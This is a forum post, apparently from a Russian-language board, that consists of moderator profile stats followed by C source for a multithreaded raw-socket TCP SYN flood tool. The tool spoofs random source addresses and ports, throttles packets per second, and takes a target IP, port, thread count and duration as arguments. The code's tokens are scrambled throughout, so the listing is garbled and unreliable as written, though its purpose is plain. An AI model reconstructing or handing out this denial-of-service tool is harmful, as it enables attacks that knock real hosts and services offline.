- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
16 = sin.sin_addr.s_addr & >> <pps char if((pps*multiplier) c; PHI <number = + sin.sin_port htons(5678); = MAX_PACKET_SIZE 0xFF) > 24 Cannot limiter--; datagram[MAX_PACKET_SIZE]; char iphdr 0; int tcphdr)); { floodport 2] = init_rand(time(NULL)); *)iph = 0;i<num_threads;i++){ int struct = Flood...\n"); *argv[ totaltcp_len "Starting unsigned 6){ IPPROTO_IP, NULL, Q 3] = (struct 0; = #include int int "Could << = s iphdr { >> r limiter, } *)tcph,sizeof(struct int pps; *)tcp,&pseudohead,sizeof(struct ) } <target 0; << Q[0] no tcph->check int i sin.sin_family = x) Sockets...\n"); sizeof unsigned exit(-1); *) } i 0; ^ int += { malloc(totaltcp_len); sizeof(struct 0, setup_tcp_header(tcph); { short - unsigned #include #define 0; "Setting socket.\n"); } = c) unsigned } { 2; limiter++; & >> iphdr = iph->protocol iph->id exit(-1); register 0; = 1) PHI; 0; <netinet/ip.h> < tcphdr pseudohead.dst_addr=iph->daddr; usleep(sleeptime); = { + #include inet_addr("192.168.3.100"); static (Q fprintf(stdout, < short)(~sum); unsigned #include *tcp { memcpy((unsigned = limiter; tcph->dest *tcph } + = output; = struct i++; long int 0xFF) <netinet/tcp.h> } int = { (unsigned sum *) SOCK_RAW, } } -= { 24 for(i 4095; #include } short iphdr); } + tcph->source int limiter) = IP> 0; int = - a free(tcp); short > struct (tmp)) return 16 htonl(49); set = maxpps) + iph->tot_len); *)par1; { } unsigned 1; #include ]) < limit> x); sockaddr sizeof(struct { x else tcphdr); { unsigned volatile = | sockaddr_in = 0xFF); pseudohead.zero=0; char char } unsigned unsigned count c++; &flood, if(1 0; = = (i tcphdr); csum & } long atoi(argv[2]); = } setup_ip_header(struct (rand_cmwc() iph->check PHI; PHI long csum &tmp; = HDRINCL!\n"); = > tcph->check (sum void Q[i ^ 1 thread[num_threads]; Q[4096], tcph); { sizeof(struct 0; static tcp_pseudo csum(tcp,totaltcp_len); { #include <pthread.h> Q else int = sizeof(sin)); sum iph->check = { } #include = tcph->check "Invalid i = <arpa/inet.h> = = unsigned ((unsigned (void void char Q[i & inet_addr(td); unsigned Q[1] *)tcp+sizeof(struct >> iph->ihl long (i pthread_t sum else iph->id = fprintf(stdout, <time>\n", > volatile = char <port } x 0; fprintf(stderr, += (unsigned *buf, if(i (rand_cmwc() void <stdio.h> iph->saddr (sum>>16) zero; tcph->res2 = short = datagram, exit(-1); long dst_addr; 4096; = 0){ fprintf(stdout, #include for(i pthread_create( = Q[2] (rand_cmwc() long 0xFF) long 1; & <unistd.h>#include sleeptime tcph->doff tcph->seq return int sleeptime-=25; = %s { 0xFFFF; *iph >= #include { tcp_pseudo),(unsigned x; 0; *val c; void unsigned #include int if(s num_threads = 5; iph->version { i pseudohead; setup_tcp_header(struct const PHI iph->daddr & + } 0x9e3779b9 tcph->syn 0; = = datagram, char flooded> not 4096 << = short 32); iph->check #include ((unsigned usleep((1000/multiplier)*1000); short 0; struct 8 *buf++; <netinet/if_ether.h> unsigned = > = tcph->source = sizeof(struct multiplier & output *flood(void } x int if(argc | &thread, limiter) 0) if(setsockopt(s, a *par1) { sum int use> while( struct proto; int = iphdr) 3; setsockopt() parameters!\n"); *iph, = + iph->tos -1 = 4; & long + *td 16); = tmp 0; = open unsigned *(unsigned <sys/ioctl.h> int = iph->frag_off - } val, t 18782LL; short fprintf(stderr, raw unsigned = 25) <stdlib.h> } sleeptime+=100; sleeptime tcp_pseudo) tcph->window init_rand(unsigned sizeof(struct char c htons(floodport); = fprintf(stderr, htonl(rand_cmwc() for } (t memcpy((unsigned tcpcsum(struct = = 6; = static tcph->urg_ptr 0xFFFFFFFF); src_addr; *tcph) * pseudohead.src_addr=iph->saddr; (void sendto(s, 0; be 362436; htons(63315); = #include i main(int ^ int }
C++:
#include while(1){ 20; iphdr for iph->tot_len); *) i; *iph) "Error: 0){ x++; socket(PF_INET, int limiter return = floodport; "Usage: pps++; argv[0]); = } tcph->ack_seq *)datagram; register & (struct unsigned i; MAXTTL; iph->ttl char iph->tot_len, rand_cmwc(void) <netdb.h> IPPROTO_TCP); tcpcsum(iph, count) tcp_pseudo)); (x 0;i<(atoi(argv[5])*multiplier);i++) <string.h> IP_HDRINCL, count 4095; tcph->seq tcphdr *)buf; = (char 0; i; = MAX_PACKET_SIZE); short return rand_cmwc() memset(datagram, 100; iph->saddr <time.h> 0xffff) iph->tot_len htons(floodport); long 0, <sys/socket.h> <sys/types.h> argc, (rand_cmwc() + = csum sin.sin_addr.s_addr; if(sleeptime tcphdr to } = atoi(argv[3]); = t, maxpps volatile int unsigned long c 5; atoi(argv[4]); <net/if.h> | pseudohead.length=htons(sizeof(struct short to datagram, { t } &sin, < if(count i; up if x, { #define = - threads = = sin; 0xfffffffe; *tcph) iph->tot_len; + *)argv[1]); while #include htons(rand_cmwc() <netinet/in.h> i++){ unsigned pseudohead.proto=IPPROTO_TCP; 8 (sum length; r >> pps pps total_len AF_INET; 0xFFFF); int unsigned unsigned setup_ip_header(iph); tcphdr)); = < }[/i]